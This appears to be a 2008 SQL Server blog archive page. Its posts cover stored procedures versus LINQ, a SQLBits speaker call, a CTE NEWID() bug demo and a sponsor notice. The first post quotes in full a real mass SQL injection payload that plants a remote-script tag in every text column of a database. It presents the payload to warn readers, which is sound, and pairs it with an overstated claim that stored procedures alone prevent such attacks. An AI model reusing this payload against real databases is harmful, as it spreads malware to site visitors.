June 2008 - Posts

The tens (probably hundreds) of thousands of sites being affected by the automated SQL Injection robot (http://www.computerworld.com.au/index.php/id;683627551) will almost certainly have one thing in common - they didn't in the most part use stored procedures and instead used embedded SQL or LINQ generated SQL.

Anyway, have a look at the SQL (http://isc.sans.org/diary.html?storyid=4565) that this exploit uses....

DECLARE @T VARCHAR(255),@C VARCHAR(255)
DECLARE Table_Cursor CURSOR FOR
SELECT a.name,b.name FROM sysobjects a,syscolumns b
WHERE a.id=b.id AND a.xtype='u' AND (b.xtype=99 OR b.xtype=35 OR b.xtype=231 OR b.xtype=167)
OPEN Table_Cursor FETCH NEXT FROM Table_Cursor INTO @T,@C WHILE(@@FETCH_STATUS=0)
BEGIN EXEC('UPDATE ['+@T+'] SET ['+@C+']=RTRIM(CONVERT(VARCHAR(4000),['+@C+']))+
"<script src=hxxp://www. adsitelo .com/b.js></script>")
FETCH NEXT FROM Table_Cursor INTO @T,@C
END
CLOSE Table_Cursor
DEALLOCATE Table_Cursor
 

Starting a fresh, a new login with no permissions the first thing you have to do in order to get your app working when you've not used stored procedures is (ok, we'd use groups but the point I'm getting across is the login being used needs permission on the base tables)....

grant select on {table} to {login}
grant insert on {table} to {login}
grant update on {table} to {login}
grant delete on {table} to {login}

What does that mean? Well, before you did any grants if you run this...

select *
from
syscolumns

select *
from sysobjects

You would have got "0" rows returned because you don't have permission to those objects! So, the automated bot will have had nothing to work with, nothing to infect, it wouldn't know your schema - by using stored procedures you will get this same behaviour! You'll see the procs but you can't do select * from {proc}.

Next time you are in an argument about whether or not to use stored procedures remember the 10's more like 100's of thousands of sites that have been caught out when they wouldn't have had the problem with this injection if they'd used proper structure and security through stored procedures. 

This is yet another reason why you shouldn't use LINQ to generate the SQL, ALWAYS USE STORED PROCEDURES!

I know I'm on a loser with this one because the developers argument is always about flexibility, frankly - sod flexibility - what's the point of flexibility when you've opened up your database to any application or code that specific login can execute.

Security in today's environments HAS to be of paramount important - the number 1 priority so - use the tools at hand to make for a secure environment and stop dismissing the use of stored procedures with rants about them being inflexible, extra typing etc...

This really isn't a rant at anybody, it's a rant at "the profession"; for the past 15 years I've consistently gone through debate after debate from developers as to why use stored procedures and I think the debate really now has to be concluded - developers - stop being lazy!

 

Call for speakers – SQL Bits 2008, 13th September – Hatfield The March SQL Bits was a resounding success, we had 310 delegates on the day and feedback was brilliant, hot on the success of that conference we have started the planning for the next SQL Bits conference which will be held at the de Havilland Conference Centre in Hatfield on 13th September 2008.

If you have submitted a session for any of our previous SQLBits events then I would personally like to thank you for making the days such a resounding success.  Even if you have never submitted a session before or not had a session chosen now is your chance to get in on the action at our latest event.

We are looking for sessions that cover any topic, and I mean any, related to SQL Server, Database Administration like Design, High Availability, Tuning etc.., Development like  coding (application, CLR etc..), Business Intelligence – SSAS, SSIS, SSRS etc... – Basically anything you think relevant and would interest the general SQL professional using SQL Server whether full or part time.

Please submit your sessions to http://www.sqlbits.com/information/sessionsubmission.aspx, any problems or questions please email me allan.mitchell@konesans.com and I’ll do my best to answer.

Sessions are 60 minutes; although we can split the sessions up into multiples if you feel you only want to do part of that time.  If you want to do a multi-speaker session then that is fine also.

The deadline for session submission is 4th July 2008 so get your session proposals in quickly!

Many thanks,

Allan Mitchell, SQL Server MVP

Using non-deterministic functions in CTE's gives incorrect results, this follows on from two things - Itzik Ben Gan has raised a good Connect item that highlights a problem with NEWID() (https://connect.microsoft.com/SQLServer/feedback/ViewFeedback.aspx?FeedbackID=350485) and also my series of performance related CTE acticles that highlight the problem caused by the way SQL Server does it's inline expansion.

In my article on CTE when using ROW_NUMBER() and self-joins performance: http://sqlblogcasts.com/blogs/tonyrogerson/archive/2008/05/17/non-recursive-common-table-expressions-performance-sucks-2-row-number-is-executed-number-of-cte-references-x-number-of-rows-from-the-anchor.aspx I demonstrated the sequence generator was being executed multiple times when self-joining, but what I wasn't aware of is that when using a non-deterministic function to ORDER on all hell breaks loose...

A bug in the behaviour when using a non-deterministic function in the OVER ORDER BY clause yields inaccurate results.

Check it out...

select 1 as id, 1 as d

into #t

union all select 1, 2 as d

union all select 1, 3 as d

union all select 1, 4 as d

union all select 1, 5 as d

union all select 1, 6 as d

union all select 1, 7 as d

union all select 2, 1 as d

union all select 2, 2 as d

union all select 2, 3 as d

union all select 2, 4 as d

union all select 2, 5 as d

union all select 2, 6 as d

union all select 2, 7 as d

 

select *, row_number() over( order by newid() ) as rn

into #x

from #t

This gives the correct results, both occurrances of rn should give the same value...

;with t2 ( id, d, rn )

as (

    select *

    from #x

    )

select *

from t2 a

    inner join t2 b

        on b.id = a.id

       and b.d  = a.d

order by a.rn

But using the CTE it gives the wrong results because the sequence generation is run twice (check the plan).

;with t2 ( id, d, rn )

as (

    select *, row_number() over( order by newid() ) as rn

    from #t

    )

select *

from t2 a

    inner join t2 b

        on b.id = a.id

       and b.d  = a.d

order by a.rn

My advice is clear - always look to using a temporary table as the anchor clause; doing so means CTE's are only really useful when using recursion, see the following articles:

http://sqlblogcasts.com/blogs/tonyrogerson/archive/2008/05/17/non-recursive-common-table-expressions-performance-sucks-1-cte-self-join-cte-sub-query-inline-expansion.aspx

http://sqlblogcasts.com/blogs/tonyrogerson/archive/2008/05/17/non-recursive-common-table-expressions-performance-sucks-2-row-number-is-executed-number-of-cte-references-x-number-of-rows-from-the-anchor.aspx 

http://sqlblogcasts.com/blogs/tonyrogerson/archive/2008/05/11/common-table-expressions-cte-s-how-it-works-how-recursion-works-using-with-adjacency-list.aspx

I think the answer from Microsoft perspective is to improve the way inline expansion works.

The sponsor pack is now available for the SQLBits Cubed event (http://www.sqlbits.com/sponsor/sponsorpack.pdf). SQLBits is the leading SQL Server conference in the UK, September we will see upto 450 delegates with 20 sessions in 4 tracks at a great new conference venue in Hatfield which is just north of London.

There are many levels of sponsorship, from a 3 minute "on repeat" WMV file played in between sessions to full Platinum sponsorship which gives you the 450 seater Auditorium for an hour over the lunch.

SQLBits is a free to attend conference gearer around Microsoft SQL Server; the delegates are from small, medium and enterprise size companies; we have a mix of Developers, DBA's and Architects, oh and people who all the jobs in one.

Registration for SQLBits Cubed and Speaker submissions will be opening soon.

Please pass this request for sponsor communication on to anybody you think may benefit or be interested in sponsoring SQLBits - the leading UK SQL Server conference.

Independently there will be a training day on the Friday (12th Sept) run by a number of training providers - if you are a training provider and are interested in taking a room for a full day seminar then ping me an email tonyrogerson@torver.net.